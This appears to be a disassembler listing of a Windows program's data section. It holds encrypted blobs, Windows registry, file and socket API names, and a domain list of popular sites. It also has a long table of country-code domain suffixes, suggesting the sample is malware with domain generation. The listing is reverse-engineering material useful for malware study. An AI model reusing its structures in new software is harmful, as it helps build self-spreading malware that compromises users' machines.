		dd offset aControl	; "Control"
		dd offset aAudit	; "Audit"
		dd offset aEvent	; "Event"
		dd offset aNotify	; "Notify"
		dd offset aBackup	; "Backup"
		dd offset aTrusted	; "Trusted"
		dd offset aComponent	; "Component"
		dd offset aFramework	; "Framework"
		dd offset aManagement	; "Management"
		dd offset aBrowser	; "Browser"
		dd offset aMachine_0	; "Machine"
		dd offset aLogon	; "Logon"
		dd offset aPower	; "Power"
		dd offset aStorage	; "Storage"
		dd offset aDiscovery	; "Discovery"
		dd offset aPolicy	; "Policy"
; int dword_9B8348
dword_9B8348	dd 0C353h		; DATA XREF: sub_9A8133+1Fr
		align 10h
dword_9B8350	dd 19A4E513h, 334658ADh, 0C1FE1E10h, 0B14F96A1h, 49E1FB18h
					; DATA XREF: sub_9A8133+25o
		dd 179C3220h, 0BC7C1CE8h, 0C931816Dh, 0BC7D8DDBh, 0E494BBA1h
		dd 307D0421h, 8C67F9AAh, 4741A678h, 0B95708CAh,	2BA90052h
		dd 0FCD778E0h, 7CFB575Ah, 0E216D0D9h, 0F6DE2C2Eh, 439484DBh
		dd 1C72EEE7h, 95817E86h, 0BB39CE59h, 81A020A2h,	3D090363h
		dd 0EE5FEF9Ch, 56D98B03h, 0FAC4A821h, 2069B1B5h, 1CB53074h
		dd 780483EAh, 1CAC7850h, 2B5D548Ch, 0BD7592E3h,	0EB5E78D9h
		dd 0A69B4321h, 6BD48916h, 6A0D0F0Bh, 19F84715h,	2C624150h
		dd 569AD89Eh, 0C47A413Bh, 0FBAF445Ah, 1CF97DD6h, 0F5A346C0h
		dd 0D6BA4981h, 93A806E1h, 8387E7F6h, 0BCC0E862h, 697A182Dh
		dd 19F51A1Eh, 7ACEB95Ah, 3AA0DC34h, 126BEE2Eh, 2E2DF0B2h
		dd 2D5F6D87h, 0F0BC97F5h, 0C5301A53h, 0A2A4C56Dh, 0AD88BE28h
		dd 6E0679E1h, 36F3903Ch, 5F82FF9h, 0C3EA5B3Bh, 67E501D3h
		dd 7E284C6Ch, 6ECDB335h, 20D3D333h, 30CF092Eh, 3414A79h
		dd 921D7662h, 8834A4B2h, 55144409h, 0F0EFE814h,	0E082CBFCh
		dd 36425004h, 92B83DDCh, 5A13ABE9h, 0A4070E7Bh,	1C6971EBh
		dd 5E0EA903h, 0D4574329h, 0BD71E0A8h, 0CC736E47h, 81630B82h
		dd 5EAC6F89h, 0E23F1659h, 0BDA4DCD2h, 0AEA77F7h, 4D6FCCF3h
		dd 947CDB51h, 1B5E577Dh, 0E118A2A6h, 20E2B6C5h,	4F116C8Eh
		dd 56F61EC9h, 62568F93h, 1F8611A0h, 0D72D1D1Dh,	3130E12Ah
		dd 0BFA81C30h, 900E0D28h, 0B7542DDAh, 44038Ch, 0C2AB5B7Dh
		dd 0E034515Fh, 0ED2DBFA5h, 0BBD428C3h, 5EF2B559h, 9A5B5AFDh
		dd 0B46239E9h, 9354E99h, 81B1A2E2h, 0DB4B2F2Bh,	2262763Eh
		dd 5B79FD52h, 3C70536Eh, 0AB4D9EBEh, 629ED354h,	607A59FFh
		dd 1E4878FCh, 1CCB2F05h, 91235FF9h, 0E2427EFEh,	33D3B088h
		dd 72004187h, 2263944Fh, 20A2B967h
off_9B8550	dd offset aBaidu_com	; DATA XREF: sub_9A83C7+2Cr
					; "baidu.com"
		dd offset aGoogle_com	; "google.com"
		dd offset aYahoo_com	; "yahoo.com"
		dd offset aAsk_com	; "ask.com"
		dd offset aW3_org	; "w3.org"
		dd offset aFacebook_com	; "facebook.com"
		dd offset aImageshack_us ; "imageshack.us"
		dd offset aRapidshare_com ; "rapidshare.com"
; char *off_9B8570
off_9B8570	dd offset aJan		; DATA XREF: sub_9A82C5+A2r
					; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
; char *off_9B85A0
off_9B85A0	dd offset aAc		; DATA XREF: sub_9A857A+11Fr
					; "ac"
		dd offset aAe		; "ae"
		dd offset aAg		; "ag"
		dd offset aAm		; "am"
		dd offset aAs		; "as"
		dd offset aAt		; "at"
		dd offset aBe		; "be"
		dd offset aBo		; "bo"
		dd offset aBz		; "bz"
		dd offset aCa		; "ca"
		dd offset aCd		; "cd"
		dd offset aCh		; "ch"
		dd offset aCl		; "cl"
		dd offset aCn		; "cn"
		dd offset aCo_cr	; "co.cr"
		dd offset aCo_id	; "co.id"
		dd offset aCo_il	; "co.il"
		dd offset aCo_ke	; "co.ke"
		dd offset aCo_kr	; "co.kr"
		dd offset aCo_nz	; "co.nz"
		dd offset aCo_ug	; "co.ug"
		dd offset aCo_uk	; "co.uk"
		dd offset aCo_vi	; "co.vi"
		dd offset aCo_za	; "co.za"
		dd offset aCom_ag	; "com.ag"
		dd offset aCom_ai	; "com.ai"
		dd offset aCom_ar	; "com.ar"
		dd offset aCom_bo	; "com.bo"
		dd offset aCom_br	; "com.br"
		dd offset aCom_bs	; "com.bs"
		dd offset aCom_co	; "com.co"
		dd offset aCom_do	; "com.do"
		dd offset aCom_fj	; "com.fj"
		dd offset aCom_gh	; "com.gh"
		dd offset aCom_gl	; "com.gl"
		dd offset aCom_gt	; "com.gt"
		dd offset aCom_hn	; "com.hn"
		dd offset aCom_jm	; "com.jm"
		dd offset aCom_ki	; "com.ki"
		dd offset aCom_lc	; "com.lc"
		dd offset aCom_mt	; "com.mt"
		dd offset aCom_mx	; "com.mx"
		dd offset aCom_ng	; "com.ng"
		dd offset aCom_ni	; "com.ni"
		dd offset aCom_pa	; "com.pa"
		dd offset aCom_pe	; "com.pe"
		dd offset aCom_pr	; "com.pr"
		dd offset aCom_pt	; "com.pt"
		dd offset aCom_py	; "com.py"
		dd offset aCom_sv	; "com.sv"
		dd offset aCom_tr	; "com.tr"
		dd offset aCom_tt	; "com.tt"
		dd offset aCom_tw	; "com.tw"
		dd offset aCom_ua	; "com.ua"
		dd offset aCom_uy	; "com.uy"
		dd offset aCom_ve	; "com.ve"
		dd offset aCx		; "cx"
		dd offset aCz		; "cz"
		dd offset aDj		; "dj"
		dd offset aDk		; "dk"
		dd offset aDm_0		; "dm"
		dd offset aEc		; "ec"
		dd offset aEs		; "es"
		dd offset aFm		; "fm"
		dd offset aFr		; "fr"
		dd offset aGd		; "gd"
		dd offset aGr		; "gr"
		dd offset aGs		; "gs"
		dd offset aGy		; "gy"
		dd offset aHk		; "hk"
		dd offset aHn		; "hn"
		dd offset aHt		; "ht"
		dd offset aHu		; "hu"
		dd offset aIe		; "ie"
		dd offset aIm		; "im"
		dd offset aIn		; "in"
		dd offset aIr_0		; "ir"
		dd offset aIs		; "is"
		dd offset aKn		; "kn"
		dd offset aKz		; "kz"
		dd offset aLa		; "la"
		dd offset aLc		; "lc"
		dd offset aLi		; "li"
		dd offset aLu		; "lu"
		dd offset aLv		; "lv"
		dd offset aLy		; "ly"
		dd offset aMd		; "md"
		dd offset aMe		; "me"
		dd offset aMn		; "mn"
		dd offset aMs		; "ms"
		dd offset aMu		; "mu"
		dd offset aMw		; "mw"
		dd offset aMy		; "my"
		dd offset aNf		; "nf"
		dd offset aNl		; "nl"
		dd offset aNo		; "no"
		dd offset aPe		; "pe"
		dd offset aPk		; "pk"
		dd offset aPl		; "pl"
		dd offset aPs		; "ps"
		dd offset aRo		; "ro"
		dd offset aRu		; "ru"
		dd offset aSc		; "sc"
		dd offset aSg		; "sg"
		dd offset aSh		; "sh"
		dd offset aSk		; "sk"
		dd offset aSu		; "su"
		dd offset aTc		; "tc"
		dd offset aTj		; "tj"
		dd offset aTl		; "tl"
		dd offset aTn		; "tn"
		dd offset aTo		; "to"
		dd offset aTw		; "tw"
		dd offset aUs		; "us"
		dd offset aVc		; "vc"
		dd offset aVn		; "vn"
dbl_9B8770	db 56h,	48h, 85h, 56h, 77h, 0, 0, 0 ; DATA XREF: sub_9A83C7+CFw
					; sub_9A84A9+Cr ...
dword_9B8778	dd 1			; DATA XREF: sub_9A9FE6+24Ao
					; sub_9A9FE6+27Fr
		dd 2 dup(0)
		dd 13C9E684h
dword_9B8788	dd 0E8A4E7Ah		; DATA XREF: sub_9A3620+9r
					; sub_9A3715+Er ...
dword_9B878C	dd 19930520h, 4	dup(0)	; DATA XREF: .text:009AA98Fo
					; __NLG_Notify+2o
off_9B87A0	dd offset aInitializecrit ; DATA XREF: sub_9B0930:loc_9AC080r
					; "InitializeCriticalSection"
off_9B87A4	dd offset loc_9ADD8C	; DATA XREF: sub_9B1A08-2B09r
off_9B87A8	dd offset dword_9BA8D4	; DATA XREF: sub_9AE860+5r
off_9B87AC	dd offset loc_9AD0F8	; DATA XREF: sub_9AC32C+4Dr
off_9B87B0	dd offset loc_9B07B8	; DATA XREF: sub_9AEE5C-E5Br
dword_9B87B4	dd 6C74656Eh, 632E676Fh	; DATA XREF: .text:009B9BFCo
		db 6Fh,	6Dh, 0
off_9B87BF	dd offset loc_9ADF50	; DATA XREF: sub_9B3EFC-5495r
off_9B87C3	dd offset dword_9BBF74	; DATA XREF: sub_9B3C6C+29r
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: .text:off_9B93D7o
off_9B87D8	dd offset aWritefile	; DATA XREF: sub_9B0930:loc_9B1EF0r
					; "WriteFile"
off_9B87DC	dd offset loc_9B655C	; DATA XREF: sub_9B1D80+35E2r
dword_9B87E0	dd 0FFFFFFFFh, 9B0284h,	9B48F4h, 646E6179h, 722E7865h
					; DATA XREF: .text:off_9B8870o
					; .text:009B9CC8o
		db 75h,	0
off_9B87F6	dd offset loc_9B61C0	; DATA XREF: sub_9B1F68+3923r
		align 4
dword_9B87FC	dd 6F64657Ah, 6D6F632Eh, 0 ; DATA XREF:	.text:009B9CD4o
dword_9B8808	dd 0FFFFFFFFh, 9B4D54h,	9B0A24h	; DATA XREF: .text:off_9BABEBo
dword_9B8814	dd 0FFFFFFFFh, 9AB76Ch,	9AE3D0h	; DATA XREF: .text:off_9BA154o
off_9B8820	dd offset sub_9B1F68	; DATA XREF: sub_9B4950+47r
					; sub_9B4950+68r
off_9B8824	dd offset loc_9B31F4	; DATA XREF: sub_9B0930-1234r
aRegistration	db 'registration',0     ; DATA XREF: .text:009BA2E4o
		align 4
aWaitforsingleo	db 'WaitForSingleObject',0 ; DATA XREF: .text:off_9BA421o
off_9B884C	dd offset aGetfileversion ; DATA XREF: sub_9B0930:loc_9B3078r
					; "GetFileVersionInfoSizeA"
aDoubleclick_co	db 'doubleclick.com',0  ; DATA XREF: .text:009B9B20o
aSocket		db 'socket',0           ; DATA XREF: .text:off_9B977Do
		align 4
a2ch_net	db '2ch.net',0          ; DATA XREF: .text:off_9B9A94o
off_9B8870	dd offset dword_9B87E0	; DATA XREF: sub_9B2830+5r
a21022		db '21022',0            ; DATA XREF: .text:009BA818o
off_9B887A	dd offset loc_9B2654	; DATA XREF: sub_9AF654+114Ar
		align 10h
dword_9B8880	dd 2D72662Ch, 713B5246h, 352E303Dh, 0 ;	DATA XREF: .text:009BA49Co
dword_9B8890	dd 0FFFFFFFFh, 9B2714h,	9B1310h, 6B726F57h ; DATA XREF:	.text:off_9B96BBo
					; .text:009BA338o
		db 73h,	0
off_9B88A2	dd offset loc_9AFD68	; DATA XREF: sub_9B1F68+22F4r
off_9B88A6	dd offset loc_9B1F30	; DATA XREF: sub_9B0930-4378r
		align 4
dword_9B88AC	dd 656C6C61h, 2E6F7267h	; DATA XREF: .text:009B9AB8o
		db 70h,	6Ch, 0
off_9B88B7	dd offset loc_9ACFFC	; DATA XREF: sub_9B04A8+3E9Br
		align 4
dword_9B88BC	dd 0FFFFFFFFh, 9ADE08h,	9B33D8h	; DATA XREF: .text:off_9BA992o
off_9B88C8	dd offset loc_9B0AB0	; DATA XREF: sub_9B5480+39r
off_9B88CC	dd offset aObtainuseragen ; DATA XREF: sub_9B0930:loc_9AFC00r
					; "ObtainUserAgentString"
off_9B88D0	dd offset loc_9B0C0C	; DATA XREF: sub_9B0930-2FBCr
dword_9B88D4	dd 2E356968h, 6D6F63h, 6E656741h, 74h ;	DATA XREF: .text:009B9B74o
					; .text:009BA1D8o
dword_9B88E4	dd 0FFFFFFFFh, 9AE204h,	9B26DCh	; DATA XREF: .text:off_9BA6CCo
off_9B88F0	dd offset dword_9BA8F8	; DATA XREF: sub_9B63D8-14B3r
		dd offset dword_9BA8F8
		dd offset aApplicationXSh ; ", application/x-shockwave-flash"
off_9B88FC	dd offset dword_9BF380	; DATA XREF: sub_9ADCEC+44r
off_9B8900	dd offset loc_9AB858	; DATA XREF: sub_9B5480-7B94r
off_9B8904	dd offset loc_9AF2CC	; DATA XREF: sub_9B0930+1767r
off_9B8908	dd offset loc_9AB264	; DATA XREF: sub_9AC250+76F4r
off_9B890C	dd offset loc_9ACF74	; DATA XREF: sub_9AB1A0+A9DFr
off_9B8910	dd offset loc_9AB558	; DATA XREF: sub_9B63D8-AE10r
aInstaller_0	db 'Installer',0        ; DATA XREF: .text:009BA24Co
		align 10h
dword_9B8920	dd 0FFFFFFFFh, 9B05F4h,	9B4780h, 6E7A6573h, 632E6D61h
					; DATA XREF: .text:off_9BAC5Bo
					; .text:009B9C48o
		dd 7Ah,	79616265h, 6D6F632Eh
		db 0
off_9B8941	dd offset loc_9AC0B0	; DATA XREF: sub_9B4950+A5r
off_9B8945	dd offset sub_9AF960	; DATA XREF: sub_9AF5E4-1C95r
off_9B8949	dd offset aVerqueryvaluea ; DATA XREF: sub_9B0930:loc_9B41BCr
					; "VerQueryValueA"
		align 10h
aSetup		db 'Setup',0            ; DATA XREF: .text:009BA2FCo
off_9B8956	dd offset loc_9B59B4	; DATA XREF: sub_9B2010-38FDr
		align 4
aGetmodulefilen	db 'GetModuleFileNameA',0 ; DATA XREF: .text:off_9BAB7Co
off_9B896F	dd offset loc_9AFD94	; DATA XREF: sub_9ADAC4-65Fr
		align 4
dword_9B8974	dd 5355h, 6F6E646Fh, 73616C6Bh,	6B696E73h, 75722E69h, 0
					; DATA XREF: .text:009BA324o
					; .text:009B9C08o
dword_9B898C	dd 0FFFFFFFFh, 9AF320h,	9B12B8h	; DATA XREF: .text:off_9BB08Bo
off_9B8998	dd offset loc_9AB0D8	; DATA XREF: sub_9B0930+3967r
aPages		db 'Pages',0            ; DATA XREF: .text:009BA2B0o
off_9B89A2	dd offset loc_9AC3F4	; DATA XREF: sub_9B03E8-4A4r
		align 4
dword_9B89A8	dd 7073796Dh, 2E656361h, 6D6F63h ; DATA	XREF: .text:009B9BE4o
off_9B89B4	dd offset aIoctlsocket	; DATA XREF: sub_9B0930:loc_9B51ECr
					; "ioctlsocket"
aNtohs		db 'ntohs',0            ; DATA XREF: .text:off_9B9910o
off_9B89BE	dd offset loc_9B136C	; DATA XREF: sub_9AF030+516Dr
off_9B89C2	dd offset loc_9AFB58	; DATA XREF: sub_9B1F68-12A9r
off_9B89C6	dd offset loc_9B1C48	; DATA XREF: sub_9B0FD0+56r
off_9B89CA	dd offset loc_9ACC48	; DATA XREF: sub_9B36E8-5748r
		align 10h
byte_9B89D0	db 4Eh,	54h, 0		; DATA XREF: .text:009BAD30o
off_9B89D3	dd offset loc_9B3B78	; DATA XREF: sub_9AF25C+6DD4r
		align 4
aLive		db 'Live',0             ; DATA XREF: .text:009BA26Co
off_9B89DD	dd offset loc_9B2D8C	; DATA XREF: sub_9B0930-4090r
off_9B89E1	dd offset loc_9AB974	; DATA XREF: sub_9B0930-14B6r
		align 4
dword_9B89E8	dd 632E6F67h		; DATA XREF: .text:009B9B60o
		db 6Fh,	6Dh, 0
off_9B89EF	dd offset aMozilla4_0Comp ; DATA XREF: sub_9AB3B0+2r
					; "Mozilla/4.0 (compatible; MSIE "
		align 4
dword_9B89F4	dd 432D4155h, 203A5550h, 0D363878h ; DATA XREF:	.text:009BB044o
		db 0Ah,	0
off_9B8A02	dd offset sub_9B161C	; DATA XREF: sub_9B5300+13r
off_9B8A06	dd offset loc_9B0ED0	; DATA XREF: sub_9B649C+3Fr
off_9B8A0A	dd offset loc_9AE054	; DATA XREF: sub_9B1F68-4A1r
off_9B8A0E	dd offset loc_9AEB4C	; DATA XREF: sub_9ADCEC-27F8r
		align 4
dword_9B8A14	dd 0C355h		; DATA XREF: sub_9B3150-3098r
		dd 0
dword_9B8A1C	dd 283CC491h, 0C9CFB1E0h, 0F54ABF9Ah, 9E15D92h,	48C4FD1h
					; DATA XREF: .text:Srco
		dd 0EB3CD7C5h, 0AD7CD778h, 323F206Dh, 0C649E399h, 8ED6CB7Bh
		dd 68F70506h, 0B782EFFBh, 47AF4FE9h, 0A63E061Dh, 0A6F6A6CCh
		dd 2F267FAh, 7683F8E5h,	61C5C293h, 0D33035Ch, 0E946EB8Ch
		dd 0EE9B3CDDh, 67BF658Dh, 0ACE6F792h, 7BEA69ACh, 17CA0F13h
		dd 0B96F11A8h, 0C4C1AF27h, 320EFF67h, 6CC296CBh, 345C1E75h
		dd 7B182C3Ch, 0E60A693h, 7053B5EAh, 73E869E6h, 98971E6h
		dd 40789805h, 5B74D3E9h, 0A69E3FCFh, 0E1DF13C1h, 740A88FBh
		dd 203EBA4Eh, 134BEDC7h, 0ED1BD125h, 6D54842Eh,	4B8D7E57h
		dd 20EA096Ah, 895B833Bh, 0BEEAED2Bh, 0E9AA0609h, 1CBBFB42h
		dd 0D7D3245Dh, 7E4D28F4h, 6E74FF9Bh, 4C915DBBh,	49357651h
		dd 0CC7D7D89h, 11D733A9h, 0BA5A276Ch, 60FC46CBh, 0F5B9F8E0h
		dd 0FD0C8B9Eh, 624C3A23h, 0D63910CEh, 9413CCCFh, 1C81EBC5h
		dd 637BC600h, 0F524035Ch, 296D5E72h, 64D3B981h,	2069079Ah
		dd 0D3C0580Ah, 11DE7617h, 0ACBAC797h, 39AF3EFCh, 0C10F7763h
		dd 2C953545h, 0C8255219h, 80EDBBB5h, 4E78BA07h,	7A96B49h
		dd 895EE017h, 0B4DFAE8Ah, 56476017h, 2DA2FA13h,	242798Eh
		dd 2940BC51h, 0E52FAE2h, 4B305415h, 6ED69930h, 0ED0777Eh
		dd 2BE4B763h, 0C9268259h, 30F0BDF5h, 0FE057A5Dh, 20FAEFABh
		dd 22903496h, 86C5EBD0h, 60D91686h, 8A746397h, 65EDDEA3h
		dd 0C57327BAh, 0D748995Eh, 5B095CD6h, 0BAA4A792h, 0E3418193h
		dd 77518F40h, 308C827Fh, 1E994D6h, 74F191F6h, 4C5ED1DCh
		dd 4FC9308Eh, 0B0B5B5CBh, 612870E6h, 0AFA6F897h, 267C86CBh
		dd 0CACCD8F6h, 2175402h, 0B3A181CAh, 0D103A142h, 94415A10h
		dd 0A9C924EAh, 0E8C5CA09h, 40A14119h, 0A39D898h, 0FCB93EC1h
		dd 0B5456CD2h, 0C1AEC66Bh, 7A731F5Eh
off_9B8C1C	dd offset loc_9B1064	; DATA XREF: sub_9B2E04-626Br
off_9B8C20	dd offset aEntercriticals ; DATA XREF: sub_9B0930:loc_9B4BD0r
					; "EnterCriticalSection"
dword_9B8C24	dd 6F686179h, 6F632E6Fh	; DATA XREF: .text:009B9CC4o
		db 6Dh,	0
off_9B8C2E	dd offset loc_9B5A4C	; DATA XREF: sub_9AC170+Br
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: .text:off_9BAB84o
aFastclick_com	db 'fastclick.com',0    ; DATA XREF: .text:009B9B40o
		align 10h
aSourceforge_ne	db 'sourceforge.net',0  ; DATA XREF: .text:009B9C58o
off_9B8C60	dd offset loc_9B3E90	; DATA XREF: sub_9B0930-27B2r
off_9B8C64	dd offset loc_9B0E4C	; DATA XREF: sub_9B4FD0+512r
off_9B8C68	dd offset loc_9B18BC	; DATA XREF: sub_9AD3EC+20D1r
dword_9B8C6C	dd 6C64746Eh, 6C642E6Ch, 6Ch ; DATA XREF: .text:off_9BA9E4o
dword_9B8C78	dd 6E72656Bh, 32336C65h, 6C6C642Eh ; DATA XREF:	.text:off_9BAE26o
		db 0
off_9B8C85	dd offset loc_9B4A50	; DATA XREF: sub_9AB1A0+2171r
		align 4
dword_9B8C8C	dd 0FFFFFFFFh, 9B5220h,	9AFD40h, 636D6F63h, 2E747361h
					; DATA XREF: .text:off_9BAAD8o
					; .text:009B9B00o
		dd 74656Eh
aAdvapi32	db 'ADVAPI32',0         ; DATA XREF: .text:off_9B969Bo
off_9B8CAD	dd offset dword_9BA3E4	; DATA XREF: sub_9AD97C+5r
off_9B8CB1	dd offset dword_9B8EF0	; DATA XREF: sub_9B5FC0+5r
off_9B8CB5	dd offset loc_9AB414	; DATA XREF: sub_9ADAC4+57B1r
off_9B8CB9	dd offset loc_9B1FE0	; DATA XREF: sub_9B6504+3Er
off_9B8CBD	dd offset unknown_libname_1 ; DATA XREF: sub_9AB1A0+Br
					; sub_9AB7C0+Br ...
					; Microsoft VisualC 2-8/net runtime
off_9B8CC1	dd offset loc_9B532C	; DATA XREF: sub_9B36E8+5Er
		align 4
dword_9B8CC8	dd 696B6977h, 6964656Dh, 726F2E61h ; DATA XREF:	.text:009B9CA4o
		db 67h,	0
off_9B8CD6	dd offset loc_9B2BF0	; DATA XREF: sub_9ABF08+768Fr
off_9B8CDA	dd offset dword_9B8E90	; DATA XREF: sub_9B0C20+5r
		align 10h
a4322		db '4322',0             ; DATA XREF: .text:009BA80Co
		align 4
aGetfileattribu	db 'GetFileAttributesA',0 ; DATA XREF: .text:off_9B9FD0o
off_9B8CFB	dd offset dword_9BABC4	; DATA XREF: sub_9B1F68+5r
		align 10h
off_9B8D00	dd offset dword_9B91D8	; DATA XREF: sub_9B63D8-14C9r
		dd offset dword_9B91D8
		dd offset dword_9B91D8
		dd offset dword_9B9064
off_9B8D10	dd offset loc_9B4860	; DATA XREF: sub_9B63D8-8D95r
off_9B8D14	dd offset loc_9AFFE4	; DATA XREF: sub_9ABD30+26r
dword_9B8D18	dd 696E696Dh, 70696C63h, 6D6F632Eh, 0 ;	DATA XREF: .text:009B9BD0o
byte_9B8D28	db 30h,	2Eh, 0		; DATA XREF: .text:off_9BA42Co
off_9B8D2B	dd offset loc_9B525C	; DATA XREF: sub_9B1A08-30A4r
		align 10h
dword_9B8D30	dd 632E6F63h, 63h, 65646956h ; DATA XREF: .text:009B9AFCo
					; .text:009BA328o
		db 6Fh,	0
off_9B8D3E	dd offset loc_9B4840	; DATA XREF: sub_9B1F68-1D7Ar
off_9B8D42	dd offset loc_9AD668	; DATA XREF: sub_9B2C70+Fr
		align 4
dword_9B8D48	dd 696E696Dh, 61766F6Eh, 67726F2Eh, 0 ;	DATA XREF: .text:009B9BD4o
dword_9B8D58	dd 65636166h, 6B6F6F62h, 6D6F632Eh ; DATA XREF:	.text:009B9B3Co
		db 0
off_9B8D65	dd offset loc_9AD6E8	; DATA XREF: sub_9B63D8-93EDr
off_9B8D69	dd offset loc_9AD694	; DATA XREF: sub_9B27D8+1C13r
off_9B8D6D	dd offset loc_9ADC24	; DATA XREF: sub_9ACA48+A9r
		align 4
aAdultadworld_c	db 'adultadworld.com',0 ; DATA XREF: .text:009B9AA8o
off_9B8D85	dd offset aLoadlibrarya_0 ; DATA XREF: sub_9B0930:loc_9AE390r
					; "LoadLibraryA"
off_9B8D89	dd offset loc_9B5D70	; DATA XREF: sub_9B04A8+A20r
		align 10h
a50727		db '50727',0            ; DATA XREF: .text:009BA824o
off_9B8D96	dd offset loc_9B4918	; DATA XREF: sub_9ABE84+65r
		align 4
aResources	db 'Resources',0        ; DATA XREF: .text:009BA2ECo
off_9B8DA6	dd offset loc_9AB698	; DATA XREF: sub_9B1A08+3258r
		align 4
aFiles		db 'Files',0            ; DATA XREF: .text:009BA228o
off_9B8DB2	dd offset loc_9B4898	; DATA XREF: sub_9B0930-8FBr
off_9B8DB6	dd offset dword_9B98C8	; DATA XREF: sub_9B63D8:loc_9AE818r
off_9B8DBA	dd offset loc_9AC908	; DATA XREF: sub_9B46CC-57EDr
off_9B8DBE	dd offset dword_9BBD30	; DATA XREF: sub_9B174C-60ECr
					; sub_9AEC20-3507r ...
off_9B8DC2	dd offset loc_9B1F1C	; DATA XREF: sub_9AEDD0-33D9r
		align 4
dword_9B8DC8	dd 0FFFFFFFFh, 9B25B4h,	9AC998h	; DATA XREF: .text:off_9BA8ADo
off_9B8DD4	dd offset loc_9B603C	; DATA XREF: sub_9AF25C+5467r
off_9B8DD8	dd offset dword_9B9CE0	; DATA XREF: sub_9B31A8+5r
byte_9B8DDC	db 32h,	2Eh, 0		; DATA XREF: .text:009B90C0o
off_9B8DDF	dd offset loc_9ADA40	; DATA XREF: sub_9B2F1C-3996r
off_9B8DE3	dd offset loc_9AB28C	; DATA XREF: sub_9B0734+3B15r
off_9B8DE7	dd offset loc_9B4388	; DATA XREF: sub_9B5904-4655r
off_9B8DEB	dd offset loc_9B084C	; DATA XREF: sub_9B31A8-1EA1r
off_9B8DEF	dd offset loc_9ABE30	; DATA XREF: sub_9ADAC4+565Cr
off_9B8DF3	dd offset loc_9B014C	; DATA XREF: sub_9B35A0-2B84r
		align 4
aCommon		db 'Common',0           ; DATA XREF: .text:009BA1F8o
		align 10h
a4shared_com	db '4shared.com',0      ; DATA XREF: .text:009B9A98o
off_9B8E0C	dd offset dword_9BA13C	; DATA XREF: sub_9B3B1C+5r
aMaker		db 'Maker',0            ; DATA XREF: .text:009BA278o
off_9B8E16	dd offset loc_9ACB48	; DATA XREF: sub_9B4FD0-317Dr
		align 4
a2914		db '2914',0             ; DATA XREF: .text:off_9BA804o
		align 4
aTime		db 'time',0             ; DATA XREF: .text:off_9BAFBFo
off_9B8E29	dd offset loc_9B2DB8	; DATA XREF: sub_9B0930+1E88r
		align 10h
aService_0	db 'Service',0          ; DATA XREF: .text:009BA2F8o
off_9B8E38	dd offset loc_9AE8E4	; DATA XREF: sub_9B0930+11EAr
aGetpeername	db 'getpeername',0      ; DATA XREF: .text:off_9B9827o
aAssembly	db 'assembly',0         ; DATA XREF: .text:009BA1E4o
; char *off_9B8E51
off_9B8E51	dd offset aD_tmp	; DATA XREF: sub_9B3BE8-8C65r
					; "\\%d.tmp"
off_9B8E55	dd offset aVarfileinfoTra ; DATA XREF: sub_9B562C-64D0r
					; "\\VarFileInfo\\Translation"
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: .text:off_9BA107o
off_9B8E65	dd offset aGetsystemtime ; DATA	XREF: sub_9B0930:loc_9B37B4r
					; "GetSystemTime"
		align 4
dword_9B8E6C	dd 2D65642Ch, 713B4544h, 352E303Dh ; DATA XREF:	.text:off_9BA48Co
		db 0
off_9B8E79	dd offset loc_9B3CB0	; DATA XREF: sub_9B14CC+44r
off_9B8E7D	dd offset aMemmove	; DATA XREF: sub_9B0930:loc_9B2368r
					; "memmove"
off_9B8E81	dd offset aGethostbyname ; DATA	XREF: sub_9B0930:loc_9B0EE4r
					; "gethostbyname"
		align 4
a4325		db '4325',0             ; DATA XREF: .text:009BA810o
		align 10h
dword_9B8E90	dd 0FFFFFFFFh, 9B0300h,	9B56E8h	; DATA XREF: .text:off_9B8CDAo
off_9B8E9C	dd offset loc_9B55C4	; DATA XREF: sub_9B63D8-3713r
off_9B8EA0	dd offset aGlobalalloc	; DATA XREF: sub_9B0930:loc_9AE8E4r
					; sub_9B0930:loc_9B3E00r
					; "GlobalAlloc"
off_9B8EA4	dd offset aFindclose	; DATA XREF: sub_9B0930:loc_9ABCB8r
					; "FindClose"
dword_9B8EA8	dd 72796B73h, 2E6B636Fh, 6D6F63h ; DATA	XREF: .text:009B9C4Co
off_9B8EB4	dd offset dword_9BA830	; DATA XREF: sub_9B2160+5r
aSetfilepointer	db 'SetFilePointer',0   ; DATA XREF: .text:off_9B933Eo
		align 4
aAdobe		db 'Adobe',0            ; DATA XREF: .text:009BA1D4o
off_9B8ECE	dd offset loc_9B281C	; DATA XREF: sub_9AF030+6150r
off_9B8ED2	dd offset dword_9BBE40	; DATA XREF: sub_9AB11C+Ar
					; sub_9AB11C+31r ...
off_9B8ED6	dd offset dword_9B9304	; DATA XREF: sub_9AF654+5r
off_9B8EDA	dd offset loc_9AE5A0	; DATA XREF: sub_9B0930+4CF4r
off_9B8EDE	dd offset loc_9B3128	; DATA XREF: sub_9B4950-757Br
		align 4
aDefinitions	db 'Definitions',0      ; DATA XREF: .text:009BA20Co
dword_9B8EF0	dd 0FFFFFFFFh, 9AC5F0h,	9AEB24h	; DATA XREF: .text:off_9B8CB1o
off_9B8EFC	dd offset loc_9B47B0	; DATA XREF: sub_9B4950-3C8r
dword_9B8F00	dd 6C676962h, 2E65626Fh, 6A2E656Eh, 70h	; DATA XREF: .text:009B9AECo
aGettemppatha	db 'GetTempPathA',0     ; DATA XREF: .text:off_9B933Ao
		align 10h
aDownload_com	db 'download.com',0     ; DATA XREF: .text:009B9B24o
off_9B8F2D	dd offset dword_9B91E0	; DATA XREF: sub_9ADAC4+5r
		align 4
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: .text:off_9B9FAAo
		align 10h
aYouporn_com	db 'youporn.com',0      ; DATA XREF: .text:009B9CCCo
off_9B8F5C	dd offset loc_9B1E80	; DATA XREF: sub_9B04A8-2A91r
aAdultfriendfin	db 'adultfriendfinder.com',0 ; DATA XREF: .text:009B9AACo
		align 4
aNicovideo_jp	db 'nicovideo.jp',0     ; DATA XREF: .text:009B9C00o
off_9B8F85	dd offset loc_9AEF08	; DATA XREF: sub_9B4950-1EA5r
off_9B8F89	dd offset aInternettimeto ; DATA XREF: sub_9B0930:loc_9AB230r
					; "InternetTimeToSystemTime"
